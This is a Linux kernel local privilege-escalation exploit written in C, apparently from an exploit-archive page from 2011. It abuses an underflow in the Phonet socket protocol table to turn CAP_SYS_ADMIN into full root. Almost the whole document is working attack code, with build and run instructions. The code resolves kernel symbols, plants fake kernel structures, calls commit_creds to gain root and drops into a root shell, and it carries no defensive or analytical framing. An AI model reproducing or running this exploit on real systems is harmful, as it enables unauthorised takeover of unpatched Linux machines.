Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)

2011-01-08 09:16:01

/*
* Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
* by Joe Sylve
* @jtsylve on twitter
*
* Released: Jan 7, 2011
*
* Based on the bug found by Dan Rosenberg (@djrbliss)
* only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
*
* Usage:
* gcc -w caps-to-root2.c -o caps-to-root2
* sudo setcap cap_sys_admin+ep caps-to-root2
* ./caps-to-root2
*
* Kernel Version >= 2.6.34 (untested on earlier versions)
*
* Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
*
* This exploit takes advantage of the same underflow as the original,
* but takes a different approach. Instead of underflowing into userspace
* (which doesn't work on 64-bit systems and is a lot of work), I underflow
* to some static values inside of the kernel which are referenced as pointers
* to userspace. This method is pretty simple and seems to be reliable.
*/

#include <stdio.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// Skeleton Structures of the Kernel Structures we're going to spoof
struct proto_ops_skel {
int family;
void *buffer1[8];
int (*ioctl)(void *, int, long);
void *buffer2[12];
};

struct phonet_protocol_skel {
void *ops;
void *prot;
int sock_type;
};


#ifdef __x86_64__

#define SYM_NAME "local_port_range"
#define SYM_ADDRESS 0x0000007f00000040
#define SYM_OFFSET 0x0

typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);

#else //32-bit

#define SYM_NAME "pn_proto"
#define SYM_ADDRESS 0x4e4f4850
#define SYM_OFFSET 0x90

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

#endif


_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int getroot(void * v, int i, long l)
{
commit_creds(prepare_kernel_cred(0));
return 0;
}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret;

char command[512];

sprintf(command, "grep \"%s\" /proc/kallsyms", name);

f = popen(command, "r");

while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);

if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}

if (!strcmp(name, sname)) {

fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
pclose(f);
return addr;
}
}

pclose(f);
return 0;
}

int main(int argc, char * argv[])
{

int sock, proto;
unsigned long proto_tab, low_kern_sym, pn_proto;
void * map;

/* Create a socket to load the module for symbol support */
printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
sock = socket(PF_PHONET, SOCK_DGRAM, 0);

if(sock < 0) {
if(errno == EPERM)
printf("[*] You don't have CAP_SYS_ADMIN.\n");

else
printf("[*] Failed to open Phonet socket.\n");

return -1;
}

close(sock);

/* Resolve kernel symbols */
printf("[*] Resolving kernel symbols...\n");

proto_tab = get_kernel_sym("proto_tab");
low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;
pn_proto = get_kernel_sym("pn_proto");
commit_creds = (void *) get_kernel_sym("commit_creds");
prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");

if(!proto_tab || !commit_creds || !prepare_kernel_cred) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}

if (low_kern_sym >= proto_tab) {
printf("[*] %s is mapped higher than prototab. Can not underflow :-(.\n", SYM_NAME);
return -1;
}


/* Map it */
printf("[*] Preparing fake structures...\n");

const struct proto_ops_skel fake_proto_ops2 = {
.family = AF_PHONET,
.ioctl = &getroot,
};

struct phonet_protocol_skel pps = {
.ops = (void *) &fake_proto_ops2,
.prot = (void *) pn_proto,
.sock_type = SOCK_DGRAM,
};

printf("[*] Copying Structures.\n");

map = mmap((void *) SYM_ADDRESS, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

if(map == MAP_FAILED) {
printf("[*] Failed to map landing area.\n");
perror("mmap");
return -1;
}


memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));

// Calculate Underflow
proto = -((proto_tab - low_kern_sym) / sizeof(void *));

printf("[*] Underflowing with offset %d\n", proto);

sock = socket(PF_PHONET, SOCK_DGRAM, proto);

if(sock < 0) {
printf("[*] Underflow failed :-(.\n");
return -1;
}

printf("[*] Elevating privlidges...\n");
ioctl(sock, 0, NULL);


if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}

printf("[*] This was a triumph... I'm making a note here, huge success.\n");
execl("/bin/sh", "/bin/sh", NULL);

close(sock);
munmap(map, 0x1000);

return 0;
}

Fixes

No fixes

In order to submit a new fix you need to be registered.